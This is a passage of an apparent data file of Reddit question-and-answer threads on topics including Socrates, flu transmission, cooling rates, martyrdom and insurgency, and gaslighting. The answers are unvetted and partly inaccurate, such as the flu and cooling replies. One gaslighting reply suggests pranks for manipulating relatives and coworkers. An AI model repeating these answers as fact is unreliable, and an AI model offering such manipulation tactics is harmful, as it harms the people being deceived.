state.  When you reverse the process the temperature will increase and this might be enough to keep the water gaseous.  All depending on how good the seal is of course.\n\nHopefully I've worded that all correctly, forgive me if there are logical errors or whatever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.stevespanglerscience.com/lab/experiments/floating-water-mystery"], []]}
{"q_id": "wkneg", "title": "Did Plato and Xenophon comment on each others descriptions of Socrates? [x-post from r/historyofideas]", "selftext": "I asked this question in r/historyofideas, it was suggested I try here. I've been trying to learn more about Socrates and who he really was, but I've never seen anyone mention if Plato or Xenophon had anything to say about how their descriptions of Socrates matched (and more interestingly didn't match). Also, if anyone could point me towards any good books about Socrates life and thought I'd be very grateful. Thanks in advance!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wkneg/did_plato_and_xenophon_comment_on_each_others/", "answers": {"a_id": ["c5e7kgj", "c5efg17"], "score": [7, 3], "text": ["(The study of Plato is pretty specialised; I'm not an expert, but perhaps this will do in case a real expert doesn't come along.)\n\nNot explicitly, no, though the idea that bits of one are reactions to bits of the other has been *suggested*. If I understand it rightly, it's usually supposed that Xenophon is reacting to Plato rather than the other way round; I'm not sure why. (I'm sceptical, though, since I fear it may be premised on an assumption that everything Plato writes is original and everything Xenophon writes is derivative. As a methodological principle, that's obviously the worst kind of nonsense.)\n\nThere has also been some suggestion, based on rather more concrete evidence, of interaction between Plato and Lysias (the famous speech-writer). Plato's *Phaedrus*, in particular, depicts a speech made by Lysias about love ~~which is sometimes supposed to have been a model for Plato's *Symposium*~~ (there are also some resemblances to Pausanias' speech in the *Symposium*). ~~A few pieces of modern scholarship refer to a *Symposium* by Lysias; I infer, though, that that refers to the speech in the *Phaedrus*. If there is a link to Plato's *Symposium*, it's virtually certain that Xenophon also knew Lysias' piece.~~ (It's also possible, of course, that the speech in the *Phaedrus* is entirely Plato's invention; even if that's true, I'd still presume that it's written very much with the real Lysias' ideas in mind.)\n\nAfterthought: oh, and the depiction of Alcibiades' son in Lysias 14 has more than a passing resemblance to Plato's depiction of Alcibiades in the *Symposium*. I wouldn't be at all surprised if Lysias knew the *Symposium*, though this would be comparatively late in his career.\n\nEDIT: I was mistaken to think of a *Symposium*; I was thinking of Lysias' lost *Apology*.", "This is a side note, I'm not familiar with Xenophon at all, but Socrates (Plato) does mention Aristophanes's portrayal of him, saying that it caused him trouble.  \n\nObviously it's hard to pin down exactly what Socrates's thought was, but I think the *Crito* and *Apology* are the best Platonic dialogues to get a feel for the man and his thought.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3goj08", "title": "To contract the flu virus, does a person need to inhale the particles?", "selftext": "If I were to take a pill containing the flu virus, would I get sick? What if I were to place a drop of fluid containing the flu virus on my tongue?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3goj08/to_contract_the_flu_virus_does_a_person_need_to/", "answers": {"a_id": ["cu04go3", "cu0b8lk", "cu0ba9i"], "score": [9, 4, 4], "text": ["Any way of getting it into your blood stream will work\n\nI've noticed a common method of performing trails dealing with the flu involves dripping a solution containing the virus into mucus membranes such as the nose.\n\nEating it could be an issue, as it could be absorbed through your mouth and gums. If it were in a pill, the virus could be safely contained until it reaches your stomach acid, at which point it'd be destroyed.\n\nHypothetically, you could also get infected by exposing your anus, intensine, penis or vagina to it.", "This does not exactly answer your question but it's related and interesting: The H and the N that are commonly sited for classification of Influenza virions (e.g. H5N1, Bird Flu) stand for Hemagglutinin and Neuraminidase.  These are two proteins that are found on the surface of the virus particle.  The interesting thing about these enzymes is their harmonious functions.  Neuraminidases tend to be good at cleaving the molecular bonds found in mucus and Hemagglutinin tends to be good at binding the virus particle to the surface of cells found in the upper respiratory tract.  These both contribute to Influenza's propensity for infecting an area of the body that normally resists infection.", "XAleXOwnZX mentioned mucosal membranes but didn't mention eyes.\n\nYour eyes are a major weak-point for infection. \n\nThink about that fact next time you rub your eyes on public transport\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2hq8rs", "title": "why do i wake up with a stuffy nose when i stay the night at somebody else's place?", "selftext": "It seems like every time I stay over at a friend or family members house, I wake up with a really dry, stuffy nose. This often happens without staying the night as well if im there for a few hours. Not sure if anybody else gets this, but can anyone explain it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hq8rs/eli5_why_do_i_wake_up_with_a_stuffy_nose_when_i/", "answers": {"a_id": ["ckuzzmv", "ckv078v", "ckv2d3t", "ckv61xr"], "score": [2, 3, 15, 2], "text": ["Same thing happens to me too. I'd love an answer for this. I'm guessing that it has something to do with different allergens in other homes. ", "The most likely answer is dust in the air. Some types of fabrics will create small clouds that you don't see. A couch? Bed sheets?", "It is the bodys natural reaction to a new/unfamiliar enviroment. Their different detergents, soaps, air pollutants, pet dander, and even human dander all cause your body to have a mild allergic reaction and up the defenses. In this case, primarily the nasal entrance. Some people are more susceptible to allergies than others, you are in that list. You will also find that when you travel to new locales, the new pollens and other irritants cause you to feel stuffy or ill for the first week or so.", "I'm not the only one! I always assumed it was either coincidence when I stayed at freinds houses, or dry air because I was farther away from the coast than normal (I live in maryland)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "g474q", "title": "How is male cat sterilization done?", "selftext": "My male cat was sterilized yesterday and the vet told me that there are no stitches. How do they actually do it?\n  \nI googled a bit, but there does not seem to be any specific information on this, all I can find is that the testicles are surgically removed.  Any vets here that can help?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g474q/how_is_male_cat_sterilization_done/", "answers": {"a_id": ["c1ksvgm", "c1kt955", "c1ktx5t"], "score": [2, 2, 2], "text": ["I hadn't heard about this, but it seems to be somewhat common: [ Open wound neutering.](_URL_0_) ", "Layman here: Key hole surgery maybe? Make a small hole, put an instrument through, quarterise tubes and blood vessels severing teste, squeeze teste out through hole? - as the hole is small no need for stitches.\n\nI know it works for kidney removal.", "Vet Tech here....Incision into each half of scrotum, testicle pulled out, spermatic cord tied in knot and cut.  No stitches in cats because they tend to heal better this way.  Slightly different approach and suture closing in male dogs.\n\nETA: 2 minute surgery, the prep and anesthesia take 10 times as long"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mastiffonlinecommunity.net/viewtopic.php?t=4537"], [], []]}
{"q_id": "1cyhl5", "title": "Rate of change of Temperature", "selftext": "Lets say the temperature of a ball is 10C and it is put in a freezer at 0C. The ball takes one minute to reach 0C. \nNow take the same ball at 10C and put it in a freezer at -10C. Will the ball reach 0C in one minute, or faster than one minute? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cyhl5/rate_of_change_of_temperature/", "answers": {"a_id": ["c9l8oh5", "c9la6lr"], "score": [5, 2], "text": ["If all other variables are the same, it will cool to zero faster in the second scenario.\n\nThis is because convective cooling for this situation can be described by Newton's Law of Cooling, which states that the rate of cooling is proportional to the difference in temperature between the object and ambient.\n\nThis means that the rate of cooling at the start of the second situation will be twice the rate at the beginning of the second situation.", "Someone is going to point out the [Mpemba effect](_URL_0_) and some point in this thread. All I'm going to say is that having read extensively on the effect: It's real, it's hard to reproduce, and it's hard to do on purpose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Mpemba_effect"]]}
{"q_id": "2z5kc2", "title": "what is a \"martyr\" and why is creating them (by executing terrorists) bad?", "selftext": "So I was watching an episode of question time and the subject was arguments against the death penalty; I was a bit confused when one person stated that it creates 'martyrs.'\n\nSo is the point here that executing terrorists augments support for them?\n\n(Sorry; do excuse me if i'm seemingly obtuse; I don't know why but sometimes it takes me a long time for me to grasp certain ideas)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2z5kc2/eli5what_is_a_martyr_and_why_is_creating_them_by/", "answers": {"a_id": ["cpfvysv", "cpfvzob", "cpfwlr2"], "score": [3, 18, 8], "text": ["Disclaimer: This isn't something i wrote up personally, but it's from an Author i would like to see get more attention   if you do not like me doing this , Kindly do not downvote me, but PM me or reply so i can get more feedback\nThank you , and have fun redditing\n > In this kind of war, defeat and mass death can be a good, effective opening move. You start a rebellion, knowing everyone who marches out with you will die; you all get wiped out; and a few years later, your successors march into the fortifications of the occupying power.\n\n > That\u2019s not a fantasy. It actually happened, more than once\u2014though almost all the examples are recent ones, because this strategy depends on a certain squeamishness in the occupying army, and armies didn\u2019t get squeamish until very recently.\n\n > As far as I can tell, nobody saw this two-stage pattern until I spotted it, and goddamn it, I want a little credit for once. Not money, because I know by now that you D.C. schmoozers would sooner die than throw a quarter my way\u2014but a little credit, at least. I\u2019ve had enough of you ripping my stuff off, using me as a natural resource, playing whalefall to your hagfish. So listen up, hagfish: What follows is the Brecher Two-Stage Martyr/Killer Theory of Insurgency, and if you don\u2019t mention me when you get your six-figure, three-letter agency grant to research it, I\u2019ll give you a sample of stage two, if it takes my last wheezing breath.\n\n > The example that led me to this pattern (and which consumed a miserable decade of my life) is early 20th century Ireland. Imagine George Patton repeating his line, \u201cNo son of a bitch ever won a war by dying for his country\u201d to the handful of literary weirdos, sentimental Celticists, and assorted other freaks who had occupied downtown Dublin in the name of \u201c\u2026a 32-county, Irish-speaking Republic\u201d on Easter Monday 1916.\n\n > What kind of response would Patton\u2019s bad-ass pragmatism have gotten from the eager martyrs holding out in Dublin, waiting for the inevitable retaliation by the British Army? They were a strange group, but then most Europeans were a little insane around 1916, and this lot had decided it would be better to die in Dublin, which they actually knew and liked, than in some unpronounceable Flemish town on the Western Front. As Yeats said, \u201cThey\u2026decided, \u2018We will sell our lives at a better market\u201d than the one run by the German machine guns and artillery.\n\n > So they sold their lives, as planned. The British Army, not in any mood to fuck around with this home-front insurgency in the middle of the fight of its life, shelled the occupied buildings, shot the survivors, and declared the matter closed.\n\n > So far, this looked like the worst debacle among debac-ulous Irish rebellions, which is saying something. But that\u2019s where it gets interesting; that\u2019s where the notion of effective martyrdom via tactical debacle starts to play itself out. Because, weirdly enough, these guys won. Nobody had managed to leave the British Empire by force since America did it in 1783, but Ireland did (26 counties\u2019 worth, anyway) in 1922, just six years after those freaks got themselves killed in downtown Dublin.\n\n > And it was martyrdom that won, the whole cult of martyrdom. At first, Dubliners cursed and jeered the survivors of the Easter Rising\u2014I mean, you\u2019d be mad too if a handful of nutters had brought the world\u2019s most powerful army\u2019s revenge down on your home town. But then the songs started\u2014and if you know the Irish, you know it\u2019s all over once they start singing. Soon there were a half-dozen songs celebrating every martyr who died in 1916.\n\n > These pub songs were the social media of rural Ireland, circa 1920, and they were very effective. They inspired a whole generation of saner, smarter, more cold-blooded and effective revolutionaries thinking about how to try another rebellion\u2014one that could actually succeed. A guy named Michael Collins came up with the concept of urban-guerrilla warfare, focusing on killing spies before going after soldiers, and next thing you know, Ireland\u2019s independent, the first country to exit the Empire against the Empire\u2019s will in over a century.\n\n > And this pattern is being repeated, right now, across the planet: A first-wave insurgency that seems insanely quixotic, totally doomed, useless\u2026which then inspires a second insurgency, more effective, more cold-blooded, more interested in killing than in dying.\n\n > You can see the pattern in the weird differences between the first and second Intifadas against Israeli rule. The First Intifada, from 1987-1993, was mainly about Palestinians dying, often by choice, at the hands of much-better armed Israeli forces. Casualties were typically lopsided: 160 Israelis killed vs. more than 2000 Palestinian dead.\n\n > The image this first Intifada tried to engrave on the world media\u2019s eyeball was of Palestinians, unarmed or with nothing but rocks, getting mowed down by expensive military vehicles. Again\u2014it looked crazy, but it wasn\u2019t. It was a typical first-stage sacrifice.\n\n > The Second Intifada, or \u201cAl-Aqsa Intifada,\u201d starting in 2000, involved armed Palestinians not just dying but killing. Casualties for this rebellion were much more evenly distributed: 1008 Israelis killed vs. 3034 Palestinians.\n\n > That\u2019s a ratio of 3:1 (almost precisely 3:1, in fact), and though it may seem to favor the Israelis, it actually terrified them, because the better-armed occupying force expects something more like the 13:1 Palestinian/Israeli KIA of the First Intifada.\n\n > This two-stage formula is playing out right now, in parts of the world most people don\u2019t pay much attention to\u2014like the slow-burning Muslim/Malay insurgency in Southern Thailand. In the Southern Thai town of Su So in 2004, a Muslim insurgency announced itself in a way that made the Easter Rising look cunning and practical by comparison: the local men and boys simply stood around outside the Thai National police stations waving machetes and yelling until they were shot down.\n\n > Crazy, right? Not really. The insurgency is burning very well in that part of Thailand now, and the hundred-odd men who were mown down in that apparently pointless, suicidal demonstration outside the cop-shops knew exactly what they were doing. They were offering themselves as kindling, to get something bigger, colder, more effective started.\n\n > So \u2014 Sorry, General Patton, sir, and I admit I\u2019d never have the courage to tell you this to your face \u2014 but the fact is, you CAN win a war by dying. There are several ways you can do that: in conventional war alone .\n\nSource\n\n[The War Nerd: \u201cMartyrdom\u201d \u2014 What\u2019s the Payoff?](_URL_0_)\t", "A martyr is someone who dies for a cause or (usually religious) belief. Their death may be seen as a selfless sacrifice by other believers and the person may be regarded as a sort of hero.\n\nEdit: so they are saying that executing a jihadist/terrorist would only make him a hero in the eyes of other terrorists, a figure to be looked up to and honored, and would serve to fuel their hatred of western society even more", "The Romans created a martyr and look how that's ended up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://pando.com/2014/11/16/the-war-nerd-martyrdom-whats-the-payoff/"], [], []]}
{"q_id": "a5p2ca", "title": "what is 'gaslighting' and some examples?", "selftext": "I hear the term 'gaslighting' used often but I can't get my head around it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a5p2ca/eli5_what_is_gaslighting_and_some_examples/", "answers": {"a_id": ["ebo96h0", "ebo9muu", "eboeuk7", "ebojnhj", "ebol04r", "ebolyph", "ebom9s4", "ebombgm", "ebomdvd", "ebomekc", "ebomirm", "ebon3ii", "ebon8br", "ebonyg2", "ebooall", "eboom4o", "eboorhw", "eboovss", "eboozrd", "ebop649", "eboq34v", "eboq6go", "ebor0ls", "ebor3sv", "ebor6vj", "eborps4", "eborqx5", "ebosjcs", "ebosvov", "ebotovk", "eboushq", "ebov806", "ebovxc2", "eboweap", "eboy5az", "eboym07", "eboyncv", "eboysx7", "eboziaa", "ebozp11", "ebp4aal", "ebp4b9z", "ebp4emj", "ebp59tt", "ebp5i8a", "ebp5k8x", "ebp5vh4", "ebp5y4s", "ebp624b", "ebp63by", "ebp6c7x", "ebp6e6c", "ebp6p9e", "ebp6zsh", "ebp7iux", "ebp83uq", "ebp8kmx", "ebp9i9m", "ebpacb0", "ebpai08", "ebpaj2u", "ebpawl7", "ebpe9me", "ebpef1a", "ebpgnpp", "ebpho2r", "ebphrqu", "ebpji76", "ebpkepo", "ebpkmil", "ebpl2lo"], "score": [15283, 105, 25, 18, 3291, 367, 86, 1284, 59, 32, 19, 12, 5, 4, 2, 2, 23, 11, 13401, 12, 70, 2, 3, 2, 3, 4, 2, 3, 2, 3, 7, 2, 7, 2, 2, 2, 2, 6, 2, 2, 2, 2, 15, 3, 2, 2, 3, 10, 11, 3, 2, 3, 2, 6, 5, 4, 4, 3, 9, 7, 2, 4, 3, 4, 2, 3, 2, 3, 2, 6, 3], "text": ["It's when one person/group/organization repeatedly lies, confuses, deceives, and otherwise psychologically manipulates another person/group/organization so that the manipulated person starts to doubt what is true or not.\n\nThe term comes from a play from the mid 20th century when a husband is dimming the gas lights and then lying about it, which makes his wife think she is just imagining the change.\n\nSo basically it's when someone is intentionally trying to confuse another person to the point where the other person doesn't know what's real. ", "It comes from the movie [Gaslight](_URL_0_). Basically, it's a form of manipulation. In the movie, the woman's husband is trying to drive her crazy, so he would do stuff like take pictures off the wall and then tell his wife it was her who took the pictures down, and he would turn on lights in the attic and then he would say they weren't on, that it was a figment of her imagination.\n\nSo when people use the term now, they are talking about people manipulating them and lying to them. Like, let's say a guy date rapes a girl... and she confronts him about it, he might tell her that she's all wrong, that she was the aggressor... maybe *he* would even say that he felt threatened by *her*. That would be an example of gaslighting. Or let's say a girl is cheating on her boyfriend and he confronts her about it, she might claim that no, he's cheating on her, and then she'll list a number of things she's claims is proof. And then she might tell all her friends that her boyfriend is crazy and abusive.", "Specific example: In an interview, Trump says he planned to fire FBI chief James Comey. He later denies this. NBC releases full undoctored footage and transcript, he responds by saying NBC 'fudged the tape'. In other words, this tape, that everyone can watch, and seems valid in every way, is somehow not real. ", "Important to note you can't gaslight people in an internet argument, disagreeing with someone is not gaslighting.\n\nGaslighting is a serious form of psychological abuse, not getting your feelings hurt when you spout nonsense.\n\n_URL_0_", "Note that gaslighting doesn\u2019t only apply to minor things, as in the movie. \n\nFor example, for years my parents told me that surgery I could remember having as a child never happened, that I imagined it/was just being dramatic, maybe I dreamed it, etc. It was only once I became an adult and was able to get my own medical records that I found out it had actually happened (I believed by that stage that it hadn\u2019t been real). \n\nWhen I confronted my parents, they changed to telling me that they had never said that; and I was remembering wrong about them saying I HADN\u2019T had the surgery. \n\nThere were lots of other things of course, people who gaslight will tell you lots of things are not real (almost always things you can\u2019t prove but are relying on memory). For a long time I thought I had a terrible memory for events and a \u201cvivid imagination\u201d. \n\nProbably unsurprisingly, I don\u2019t have much contact with them now. ", "It used to be fairly obscure and rather specific term that has recently gotten a lot more popular due to its use in a political context and with popularity its meaning has become a bit boarder.\n\nIt is named after a play called \"Gaslight\" (which was also made into a movie) where a husband convinces his wife that she is losing her mind by doing such things as dimming a gas light and pretending nothing has changed, making her doubt her own senses and recollections.\n\nThe term has been used more broadly to describe any such tactics where through subterfuge and sheer strength of conviction a person convinces a victim that what they think was real isn't and make them doubt themselves.\n\nIt works because human senses and recollection really aren't all that reliable so when your peer group appears honestly convinced about something that is at odds with what you remember it is a good move to change your mind.\n\nThis can be abused in cases of victims with limited peer groups (like a spouse who isolates them) and whose abuser is adept at lying convincingly, being aware of your own failing mental faculties due to age or illness makes things worse.\n\nThis tactic has been used as a plot device in many books tv-shows and movies and has entered popular culture even if not everyone knew it by that name.\n\nIt happens in real life too albeit usually without the aim to drive someone insane on purpose. It is usually a side effect of abusive behaviour not the goal.\n\nIt gets exemplified by the clich\u00e9 joke that ends with the husband who gets caught in bed with another woman by his wife and who still proclaims that he didn't cheat despite the evidence to the contrary by calling out: *\"Who are you going to believe? Me or your lying eyes?\"*\n\nWhile that joke is a humorous exaggeration it shows the general tactic of making the victim doubt their own memory and senses by being very insistent and convincing.\n\nMore recently some people in the US have drawn some parallels between the behaviour associated with \"gaslighting\" and that of some politicians who lie even though the people who are lied to should know the truth.\n\nThis parallel is quite a bit of stretch, but it has caught on. the main politician in question who this is associated with does not seem to set out to drive anyone insane by making them doubt their own senses. He is far from the criminal mastermind that this trope used to be associated with. Also the victims (in this case the general public) for the most part don't fall into the trap of believing him over their own senses and recollections.\n\nArguably the behaviour has more in common with a charismatic cult leader who convinces their follower to believe things that they should know better while everyone outside is left shaking their head.\n\nHowever the term has caught on and is now used more often with the new less specific meaning than with the original more specific one and basically has been reduced to politicians telling lies they expect the public to believe even though the public should know better.", "Russian intelligence used to break into US staff homes, move stuff around,  &  then leave.\n\nThe key goal is to get someone to doubt themselves", "I think it\u2019s important to distinguish between regular lying and gaslighting.  A lie is just a falsehood and it can be told for many reasons.  \n\nGaslighting are lies told with the specific intent to make the other person question their sanity/reality.  \n\nIt is a form of manipulation to make the other person doubt themselves so much that they no longer trust their perception of events.  If you no longer trust yourself, then you begin to think you are the problem and the other person is then off the hook.  \n\n", "Simple example... everytime you remember something you essentially rewrite the memory, and someone takes advantage of that.\n\nSo you (assumed with malicious intent) are manipulated into believing things that are untrue.\n\nSay... to force you to trusting and relying on a significant other. They hide your keys everytime you come home, and then they tell you you always leave them in odd places. If you believe them you have essentially given them agency over your memories.\n\nThen the real insidious stuff can happen.\n\nYour SO leaves and starts to come home late with no warning (perhaps to murder puppies or cheat on you, whatever seems more horrible). When you question them, they get upset. They told you they'd be out late, why would you get so angry so quickly?\n\nMakes you eventually question every decision you make and only your dear dear SO can tell you if you remember what is real and fake.\n\nOf course for them whatever they want to be real is real", "Also a heads up.... the term like all things internet is being over used and misapplied.\n\nIt's not just simple lying.... some times people confuse it for that....\n\nSometimes people want to actually deescalate and calm people down... And in doing so... They point out what they actually meant by what they said or did.\n\nthis is legitimately someone trying to explain themselves... Not gaslighting.\n\n\nAlso sometimes people actually DO overreact or get emotional over some thing trivial... and will accuse you of gaslighting them if you point this out...\n\n\nA \"reverse gaslighting\" if you will...\n\n(I can't possibly be wrong so you must be gaslighting me)... Type situation...\n\n\n", "It seems like you\u2019ve gotten a lot of good responses, but gas lighting is when someone convinces another person (let\u2019s call them person b) that they are imagining or misremembering something or that an unacceptable behavior/experience is completely normal.  It\u2019s different from normal lying because gaslighting is typically about convincing someone that they misinterpreted their own experiences and cannot trust their own memory.  I\u2019ll provide a light hearted example from the show the office.\n\nIn the office, there is an episode where Dwight finds a joint.  When Dwight goes to interview Jim, Jim manipulates Dwight by telling him that marijuana erased his mind and that Dwight asked Jim to interview him.  Jim is gaslighting Dwight.  In addition, when Jim pulls his \u201cAsian Jim\u201d prank on Dwight, he is gaslighting Dwight into believing that Asian Jim is the real Jim.\n\nTypically it\u2019s a little darker and can be less intentional.  For example, if a wife is being beaten by her husband and goes to a friend and the friend doesn\u2019t believe the wife and states that \u201cthat doesn\u2019t seem like  < husband > \u201d, that is technically gaslighting.   It could also be simply telling someone that an unacceptable behavior is \u201cnormal\u201d, or that they are imagining things.", "I feel like the term gaslighting gets used when someone you\u2019re arguing against is just using a good argument, or calling out hypocrisy.\n\nIt seems really overused.\n\nBut I\u2019m also open to the idea that I don\u2019t completely understand the term.", "I don't know if you're asking to get ideas from examples but here is a couple.\n\nRotating your roommates drawers.\n\nSwapping your dad's slippers with identical but a size just too small or big.\n\nAlternating the switch your sister turns on her bedroom light from up to down.\n\nPay all your coworkers to call that one guy Dwayne.", "In World of Warcraft I used to gaslight players who begged for gold all the time. It worked great. Beggars were very annoying and universally loathed by the player base.\n\nHere's an [example](_URL_0_), for reference I was actually flying around playing the game and basically everything I tell to the beggar (Gokin) is a lie and a misdirection, placing all the blame on them.", "These are complicated, if right, answers.\n\nEasy terms: its making you question your memory and sense rather than explore an argument.  Its like you saying PrequelMemes is the best subreddit but i, instead of arguing against that point, argue against *you* by lying or aggressively questioning and making you doubt your argument. \n\nIts made to weaken an argument someone doesnt like because of reasons the opposite person cant explain.", "Gaslighting is an insidious form of manipulation and control, which derives its name from a 1938 play. It gained popularity after a 1944 movie also bearing the name.", "As an ethnographer I have observed husbands/wives/kids gaslight spouses/elderly parents suffering from alzheimers.\n\n\"But you agreed to buy xxx!\"\n\n\"Did I?\"\n\n\"Of course!\"\n\nAnd so on and so forth. \n\n", "Ever get in a fight with a significant other where are the end of it *you're* the one who's apologizing? And you have this weird sneaking suspicion like \"wait, isn't she the one who ...?\" You just got gaslit.", "A good example of gaslighting is when your husband comes home late from work for the 10th time in a row. You ask him why he keeps coming home late. \"What?\" He says, in shock. \"I haven't been coming home late! Are you sure you aren't just losing track of time?\" And you doubt yourself. The next day it happens again, but you checked the time. \"You're late!\" And he said \"what? No I'm not. I always come home at this time.\" And you try to argue that it's only been the last ten or even times he shows up at this time, he insists that you must have been confused, maybe in the past he got off work early once but he definitely always just comes home at this time\n\nYou wonder if you're really that unobservant. Honestly that is so like you to be kinda airheaded. You're not too smart, or you'd know for sure what time he gets home, like the fact that you doubt it is not a good sign, he seems pretty sure that he always got home at this time. You shrug. You move on. He goes on screwing the secretary. Some day you find a pair of underwear in your laundry and it's not yours. You ask him about it. He says he got you those two years ago for your anniversary, what the fuck, why don't you remember? You apologize because you feel bad for being inconsiderate, forgetting something that mattered to him. You wear the women's underwear to dinner as a make-up surprise.\n\nIt's beyond simple lying, it's lying that makes you doubt your reality and makes you docile, easy to control because you no longer trust which way is up, you have to depend on them to tell you which way is up.\n\n\n", "When I was around seven my dads flight was snowed in and my medium crazy mom became absolutely insane. My three siblings and I were loud and obnoxious on Christmas Eve and my mother eventually made us leave all the presents at the foot of the stairs and go up to bed. Somehow I came up with the idea to tell my insane mother that it didn't happen. Around midnight my siblings and I went downstairs and grabbed presents and left them in our rooms and around the tree. In the morning we told my mother \"It didn't happen.\" Denied any knowledge of the toys being taken away and basically made her think she was nuts.", "Gaslighting refers to a form of psychological brain washing where one individual will slowly lie and manipulate to another person until the second person begins to question their own sanity and credibility. It\u2019s extremely an damaging form of emotional abuse because it can cause someone to be completely stripped of any kind of positive self worth. I myself was trapped in an abusive relationship for 5 years with someone who liked to do this. He made me depend on him for everything and he had me so convinced that I couldn\u2019t do anything on my own because I was stupid and incapable of taking care of myself. The way he talked down to me and belittled me was infuriating but every time I got upset about it he\u2019d just say I was being too emotional, that I was crazy, that it was my fault for not being smart enough to realize he\u2019s just trying to help me. It seems awful and blatantly toxic but this slowly started over the course of many years and the fostered dependence and the subtlety of his wording made it really really hard for me to finally figure out that he was controlling me and making me think less of myself. Slowly eroding away any independence I had left. We finally broke up, though, I\u2019ve recovered, met someone who is sweet and nurturing, and I\u2019m going to be marrying the love of my life soon c: ", "A practical and unfortunately common example would be your supervisor telling you to do something, you do it, it's wrong and his boss asks why that was done, supervisor yells at you and denies requesting it.\n\nGaslighting is the reason we say \"always keep a paper trail\" in an office, though it applies to any job.", "I can give an example from my own experience. The most recent incident where I was gaslighted from my mum is when she attacked me and tried to punch me and I got scared and kicked her before she could punch me to defend myself. She then shouted at me that I should never kick my mother and told all my aunties I attacked her. She had changed the event very slightly and I started to doubt whether she had actually attempted to punch me and whether I had just hit her. After years learning about narcissistic abuse I can now work out that my memory is correct and she always changes the details of things slightly to make it look like I'm in the wrong. ", "'I'm SURE I locked it.  I remember turning the key.  They were here, in my pocket.  I left them on the chair, went to bed... I don't understand why they aren't there.  Perhaps they fell out?'\n\n'Or perhaps you just forgot again? Because you remember that time you lost the keys to the garage?  You said exactly the same thing, but they were in the lock.  I know you've been really tired recently...'\n\n'But I'm absolutely sure that I...'\n\n'Darling, I know you're really tired right now.  After all, you did drink last night...'\n\n'One glass of wine at dinner! You had one too!'\n\n'Right, but don't you see how perhaps you're just getting forgetful?  It's not like I took it out of your pocket when you were sleeping it off...'\n\n'Sleeping it off?  I went to bed at the same time as you!'\n\n'Well then something must have happened to them; it's not like I'd go through your pockets and lie to you, right?'\n\n'Well of course not, that would be ridiculous!'\n\n'To be honest, I'm a little hurt that you'd even imply that I'd do that.  I'm just trying to help.  It's not an issue, we'll figure out what you did with the keys tomorrow.'\n\n'But I'm SURE I locked it, I know they were in my pocket....'\n\n'Look, it's ok.  We all screw up sometimes, right? Don't feel bad.'", "Calculated gaslighting over a few years is so effective it can create a situation where the victims mind (reality, thoughts and feelings etc) is almost completely replaced or at least overwritten. Gaslighting at this level is intentional.\n\nThe best illustration of how a victim experiences this type of abuse is the movie Get Out - _URL_0_ the part where he is looking through a tiny hole from in the blackness.\n\n", "Gaslighting is a way to gain control over people. You confuse them to take away their own sense of self efficacy. When they feel they have no control over the outcome of their decisions and actions they feel helpless and dependent.\n\n & #x200B;\n\nMy mom is diagnosed Borderline and schizophrenic, when I lived with her she did things constantly to fuck with me. Little things like subtly belittling my intelligence, ignoring any and all of my achievements while pointing out mistakes no matter how small or inconsequential. She would rearrange things and say nothing, destroy or throw my toys out and say nothing, asserted I said or did something that never actually happened (which I just eventually had to go along with). I could say something completely innocent and she would yell \"Why did you just say that?\" and repeat that question yelling for hours so I would be afraid to say anything. She refused to acknowledge I was aging and bought girly or juvenile clothing and forced me to wear it. Best of all she would lie to other parents, teachers apartment tenants etc and I had no credibility to call any of it out. \n\n & #x200B;\n\nThe best I can figure is that she is confused and tormented and her only way to make sense of anything was to make me as confused and frustrated as she was. Only now does her behavior make some sense to me.", "If you've seen the office, an example could be where Jim is adding keys to Dwight's keyring, or adding pennies to his phone handset. \n\nIf you've read Roald Dahl, an example could be from the Twits, where Mr Twit adds a small length to Mrs Twit's walking cane every night. \n\nSimply, it's doing or saying things to make someone believe a certain thing, whilst pretending that everything is normal. ", "\"I've explained gas lighting twice to you already. And here you are asking again. Are you stupid? No, maybe not. But your memory must be going. No doubt you've also forgotten that you owe me 100. Now, I'll explain it to you for the third time. It's a good job I'm here to look after you and remind you of things. On your own, you'd forget your own head.\"\n\nThat would be an example. It's using lying and manipulation of facts to undermine the other person's ability to trust their own senses and their own judgment. The result is to make the victim confused and under-confident, and so easily lead and manipulated. The person doing the gas lighting might also be the 'white knight' who claims to be the only one to look after / care for the victim, thereby turning confusion into dependency. ", "Just to add to/clarify the other explanations/examples:\n\nThe husband in [the original play](_URL_0_) is spending time in the apartment upstairs from the one where he and his wife live. It's supposed to be empty, because the lady that lived there died. He turns the gas lights on up there, making the lights in the rest of the house dimmer, and says that his wife must be imagining the dimness of the lights. He also tells her she must be hearing things when she mentions hearing (his) footsteps upstairs.", "No OP but I have a follow up ELI5 Q\n\nIs it possible to be unintentionally gaslighting someone?", "You've got some great definitions, I'm going to share an example I like.\n\n\n > **A Narcissist's Prayer**\n > \n > That didn't happen.\n > \n > And if it did, it wasn't that bad.\n > \n > And if it was, that's not a big deal.\n > \n > And if it is, that's not my fault.\n > \n > And if it was, I didn't mean it.\n > \n > And if I did...\n > \n > You deserved it. ! < \n\n", "When my ex wife would tell me I was problem because I had depression in the past while she would stab herself in the legs whenever I tried to leave her, then proceed to tell me it was my fault she was doing it.", "My sister gaslighted one of our younger brothers. When we were kids she told him at age eight that Santa was not real and that our parents were the ones who bought the presents. Over the years as we got older and became adults she started slipping it into conversations that it was me and not her that spoiled his innocence about Santa. At first my brother laughed at her and said he remembered it was her but she would insist that he was remembering it wrong and the few times I heard about it I confronted her and asked what she thought she was doing. Fast forward ten years or so and my brother mentions at a family party , as if it were a vivid memory of his, that I was the one who said it to him. \n\n  \n\nI reminded him of the times in the early days that he 